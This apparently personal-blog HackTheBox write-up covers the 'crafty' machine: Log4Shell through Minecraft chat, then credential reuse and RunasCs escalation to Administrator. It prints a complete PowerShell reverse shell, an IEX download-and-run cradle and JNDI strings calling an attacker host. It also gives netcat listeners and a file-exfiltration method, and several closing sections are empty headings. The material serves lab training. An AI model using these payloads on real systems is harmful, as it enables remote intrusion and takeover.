~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / crafty.md

crafty

Windows · Easy · released 2024-02-10 · retired 2024-06-15

Summary

A small Minecraft fan site fronts a Java 1.16.5 server. The server runs Spigot/Paper, which embeds log4j 2.x with the unpatched JndiLookup plugin — i.e. CVE-2021-44228 (Log4Shell). Anything the server logs is run through log4j’s lookup processor first, and chat messages from any player are logged. Joining the server in offline mode and pasting ${jndi:ldap://attacker:1389/X} into chat causes the JVM to issue an LDAP query, follow the returned reference URL, fetch a remote class, and execute its static initializer — code execution as the svc_minecraft service account.

User flag is in that account’s Desktop. For root, a homegrown plugin playercounter-1.0-SNAPSHOT.jar sits in server\plugins\. Decompiling it (javap is enough; CFR / JD-GUI work too) shows a hardcoded RCON password used to query the live server every tick. That same password is also the local Administrator password — credential reuse between service and admin accounts. Running a token-impersonation tool (RunasCs) with those credentials and a Powershell reverse-shell payload yields an admin shell and root.txt.

The chain in one line: Log4Shell over Minecraft chat → svc_minecraft shell → exfil + decompile plugin → reused Administrator password → RunasCs admin shell.

Recon

80/tcp     Microsoft IIS 10.0
25565/tcp  Minecraft 1.16.5 (protocol 754)

A focused two-port nmap is enough; nothing else opens up. The IIS site is a static “Crafty - Official Website” template, with a “Join 1277 other players on play.crafty.htb” footer that suggests a second vhost. Adding both crafty.htb and play.crafty.htb to /etc/hosts is harmless and avoids guessing later.

The Minecraft port speaks the standard server-list-ping handshake. Sending the protocol-754 handshake-then-status-request returns a JSON status reply that includes the version string:

"version": { "name": "1.16.5", "protocol": 754 }

Minecraft 1.16.5 is the canonical Log4Shell-vulnerable Java edition. The chat handler routes log messages through log4j and JndiLookup remains enabled. That alone is enough to pivot to foothold.

Foothold — Log4Shell via Minecraft chat

Three pieces are needed:

  1. A JNDI/LDAP server that, when queried, returns a Reference pointing at an HTTP-served class whose static initializer runs the attacker’s command. Pre-built kits include marshalsec (build with maven) or JNDI-Injection-Exploit (single fat-jar release). The latter is simpler: download the -all.jar from welk1n’s release and run it directly.
  2. A reverse-shell stager. PowerShell over the wire, downloaded from our HTTP server.
  3. A Minecraft client that can join an offline-mode server and send chat. Minecraft-Console-Client (MCC, MCCTeam) is a single binary that does exactly this.

Server is in offline mode (the bot joins as any username with no auth), so MCC pairs naturally:

./mcc bot - crafty.htb 25565

> prompt = joined. Anything typed becomes a chat line. Each chat line is logged by log4j on the server side, so a JNDI lookup in the message fires server-side.

Stager

r.ps1 is a vanilla TCPClient reverse shell. Crucially, the listener should be wrapped in a while true loop or nc -k-style restart, not plain nc -lvnp 4444 — connections from the JNDI exploit will fire multiple times (once per gadget probe per JNDI lookup), and a one-shot listener silently RSTs the second-and-later attempts:

while true; do nc -lvnp 4444 ; sleep 1 ; done

r.ps1 content:

$c = New-Object System.Net.Sockets.TCPClient("<ATTACKER>", 4444)
$s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}
while (($i = $s.Read($b, 0, $b.Length)) -ne 0) {
  $d = (New-Object Text.ASCIIEncoding).GetString($b, 0, $i)
  $r = (iex $d 2>&1 | Out-String)
  $r2 = $r + "PS " + (pwd).Path + "> "
  $rb = ([text.encoding]::ASCII).GetBytes($r2)
  $s.Write($rb, 0, $rb.Length); $s.Flush()
}
$c.Close()

Served on port 8000 with python3 -m http.server 8000.

JNDI server

JNDI-Injection-Exploit takes the command to run on the victim and the attacker IP, and prints LDAP/RMI URLs to plant in the JNDI lookup:

B64=$(python3 -c "import base64; print(base64.b64encode(\
  \"IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>:8000/r.ps1')\"\
  .encode('utf-16le')).decode())")
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
     -C "powershell -enc $B64" -A <ATTACKER>

Output prints the LDAP URLs:

Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
  ldap://<ATTACKER>:1389/<key>

Trigger

In MCC, send the JNDI lookup as chat:

${jndi:ldap://<ATTACKER>:1389/<key>}

The server logs the line, log4j evaluates the lookup, JNDI fetches the LDAP reference, follows it to the HTTP-served ExecTemplateJDK8.class, and runs Runtime.exec in the static block — which spawns powershell -enc <stager-b64>, downloads r.ps1, and pipes it into IEX. The reverse shell lands as crafty\svc_minecraft.

PS C:\users\svc_minecraft\server> whoami
crafty\svc_minecraft

user.txt is one directory up:

type ..\Desktop\user.txt

Two payload-tokenisation gotchas worth flagging

User flag

type ..\Desktop\user.txt from the svc_minecraft\server cwd. Save a copy to your engagement folder before terminating the box — spawn-IPs rotate and each spawn is a fresh container.

Privilege escalation — JD-GUI plugin → admin pw → RunasCs

server\plugins\ contains exactly one custom JAR:

plugins\playercounter-1.0-SNAPSHOT.jar  (~10 KB)

A bespoke plugin in a CTF box is a strong signal — it almost always embeds a credential. Exfil the JAR to your machine. The simplest upload path that works first try is Net.WebClient.UploadFile to a Python HTTP server that accepts POST/PUT — you’ll need to strip the multipart-form wrapper afterwards (find first \r\n\r\n, find last \r\n--<boundary>, the bytes between are the file).

Decompile. javap -p -c -constants is enough; CFR / JD-GUI / Procyon are nicer but optional. The interesting bit:

6: ldc        // String 127.0.0.1
8: sipush  27015
11: ldc       // String <RCON_PASSWORD>     // 13 chars, alphanum
16: invokespecial  Method Rcon.<init>(String;I[B)V
...
56: ldc       // String C:\\inetpub\\wwwroot\\playercount.txt

The plugin connects to 127.0.0.1:27015 (RCON) with a hardcoded password, fetches the player count, and writes it to the IIS site’s webroot. The hardcoded password is the entire bug. The same string is also Administrator’s Windows password — boring credential reuse between a game-service account and a local admin account.

RunasCs and the Defender quarantine quirk

RunasCs.exe is a token-impersonation tool that lets you spawn a process as another user given username + password, without needing runas (which can’t take a password on stdin) or remote-execution helpers. Released as a single .NET binary.

Two things to know up front:

Generate a second base64 stager pointing at port 4445, start a second loop-listener on 4445, then:

C:\Windows\Tasks\rcs.exe Administrator <RCON_PASSWORD> 'powershell -enc <ADMIN_B64>'

The admin shell drops in on the 4445 listener:

crafty\administrator
type C:\Users\Administrator\Desktop\root.txt

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗